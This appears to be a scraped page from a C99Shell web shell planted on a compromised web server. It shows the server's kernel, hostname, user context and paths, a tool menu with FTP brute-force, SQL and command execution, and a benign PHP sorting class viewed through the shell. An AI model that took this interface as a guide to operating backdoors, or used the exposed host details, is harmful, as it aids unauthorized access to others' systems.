!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/mina/manage/   drwxr-xr-x
Free 3.95 GB of 27.03 GB (14.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Sorter.php (3.45 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//Sorter Class @0-16F4917C

class clsSorter
{
  public
$ComponentType = "Sorter";
  public
$OrderDirection;
  public
$OrderColumn;

  public
$IsOn;
  public
$IsAsc;
  public
$TargetName;
  public
$SorterName;
  public
$FileName;
  public
$Visible;

  public
$CCSEvents;
  public
$CCSEventResult;
  public
$Parent;
  public
$Attributes;

  function
clsSorter($ComponentName, $SorterName, $FileName, & $Parent)
  {
    
$this->TargetName = $ComponentName;
    
$this->SorterName = $SorterName;
    
$this->FileName   = $FileName;
    
$this->Visible    = true;
    
$this->CCSEvents  = array();
    
$this->Parent     = & $Parent;
    
$this->Attributes = new clsAttributes($this->SorterName . ":");

    
$this->OrderColumn = CCGetParam($this->TargetName . "Order", "");
    
$this->OrderDirection = CCGetParam($this->TargetName . "Dir", "");
    
$this->IsOn = ($this->OrderColumn == $this->SorterName);
    
$this->IsAsc = (!strlen($this->OrderDirection) || $this->OrderDirection == "ASC");
  }


  function
Show()
  {
    global
$Tpl;
    
$this->EventResult = CCGetEvent($this->CCSEvents, "BeforeShow", $this);

    if(!
$this->Visible) return;
    
$this->Attributes->Show();
    
$QueryString = CCGetQueryString("QueryString", Array($this->TargetName . "Page", "ccsForm"));
    
$SorterBlock = "Sorter " . $this->SorterName;
    
$AscOnPath = $SorterBlock . "/Asc_On";
    
$AscOffPath = $SorterBlock . "/Asc_Off";
    
$DescOnPath = $SorterBlock . "/Desc_On";
    
$DescOffPath = $SorterBlock . "/Desc_Off";
    
$QueryString = CCAddParam($QueryString, $this->TargetName . "Order", $this->SorterName);

    
$AscOnExist = $Tpl->BlockExists($AscOnPath);
    
$AscOffExist = $Tpl->BlockExists($AscOffPath);
    
$DescOnExist = $Tpl->BlockExists($DescOnPath);
    
$DescOffExist = $Tpl->BlockExists($DescOffPath);

    if(
$this->IsOn)
    {
      if(
$this->IsAsc)
      {
        
$this->OrderDirection = "DESC";
        if(
$AscOnExist) $Tpl->Parse($AscOnPath, false);
        if(
$AscOffExist) $Tpl->SetVar($AscOffPath, "");
        if(
$DescOnExist) $Tpl->SetVar($DescOnPath, "");
        if(
$DescOffExist)
        {
          
$Tpl->SetVar("Desc_URL", $this->FileName . "?" . CCAddParam($QueryString, $this->TargetName . "Dir", "DESC"));
          
$Tpl->Parse($DescOffPath, false);
        }
      }
      Else
      {
        
$this->OrderDirection = "ASC";
        if(
$AscOnExist) $Tpl->SetVar($AscOnPath, "");
        if(
$AscOffExist)
        {
          
$Tpl->SetVar("Asc_URL", $this->FileName . "?" . CCAddParam($QueryString, $this->TargetName . "Dir", "ASC"));
          
$Tpl->Parse($AscOffPath, false);
        }
        if(
$DescOnExist) $Tpl->Parse($DescOnPath, false);
        if(
$DescOffExist) $Tpl->SetVar($DescOffPath, "");
      }
    }
    else
    {
      
$this->OrderDirection = "ASC";
      if(
$AscOnExist) $Tpl->SetVar($AscOnPath, "");
      if(
$AscOffExist)
      {
        
$Tpl->SetVar("Asc_URL", $this->FileName . "?" . CCAddParam($QueryString, $this->TargetName . "Dir", "ASC"));
        
$Tpl->Parse($AscOffPath, false);
      }
      if(
$DescOnExist) $Tpl->SetVar($DescOnPath, "");
      if(
$DescOffExist)
      {
        
$Tpl->SetVar("Desc_URL", $this->FileName . "?" . CCAddParam($QueryString, $this->TargetName . "Dir", "DESC"));
        
$Tpl->Parse($DescOffPath, false);
      }
    }

    
$QueryString = CCAddParam($QueryString, $this->TargetName . "Dir", $this->OrderDirection);
    
$Tpl->SetVar("Sort_URL", $this->FileName . "?" . $QueryString);
    
$Tpl->Parse($SorterBlock, false);
  }


}
//End Sorter Class


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0036 ]--